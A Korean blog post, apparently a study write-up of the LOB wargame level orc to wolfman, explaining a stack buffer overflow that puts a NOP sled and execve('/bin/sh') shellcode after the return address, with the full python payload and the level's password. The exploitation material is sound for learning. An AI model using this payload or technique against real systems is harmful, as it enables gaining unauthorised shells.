orc에서 wolfman으로 가는 password를 획득하자!
ls 명령어로 디렉토리를 확인해보면 wolfman과 wolfman.c 파일이 있다.
그 중 wolfman.c 파일을 열어보자. 파일 내용을 보면 이전 orc.c와 달라진 부분이 한 군데 있다. buffer hunter 코드가 추가되었다. 이번 문제에서는 환경변수와 buffer를 이용한 공격은 할 수 없다. 이번엔 ret 영역 뒤에 쉘코드를 넣어 공격해보겠다.
문제를 풀기 전에 wolfman 파일을 복사해두자.
wolfman1의 main을 gdb로 덤프하자.
이번에도 <main+3>에 b를 걸어보겠다.
임의의 값을 인자로 전달하고 실행한 후, $esp 메모리를 살펴보면 sfp와 ret 영역을 찾을 수 있다. <main+3>이 ebp와 esp의 값이 같아지는 후이기 때문에 브레이크포인트 지점에서 $esp가 $ebp이고, 그 다음이 바로 ret 영역이다.
여기서 ret 영역 뒤쪽 부분에 nop와 쉘코드를 넣고, nop 중간 부분의 주소를 return address로 지정하면 쉘을 실행할 수 있다.
payload는 다음과 같이 구성했다.
r $(python -c 'print("A"*44+"\x58\xeb\xff\xbf"+"\x90"*10000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")')
성공적으로 쉘을 실행했다!
wolfman으로 가기 위한 password는 love eyuna이다.
'Study > System Hacking' 카테고리의 다른 글
[LOB] darkelf -> orge (0) | 2021.02.09 |
---|---|
[LOB] wolfman -> darkelf (0) | 2021.02.09 |
[LOB] goblin -> orc (0) | 2021.02.02 |
[lazenca] Protection Tech / NX bit(MS: DEP) (0) | 2021.02.02 |
[dreamhack] Linux Exploitation & Mitigation Part 1 / NX bit (0) | 2021.02.02 |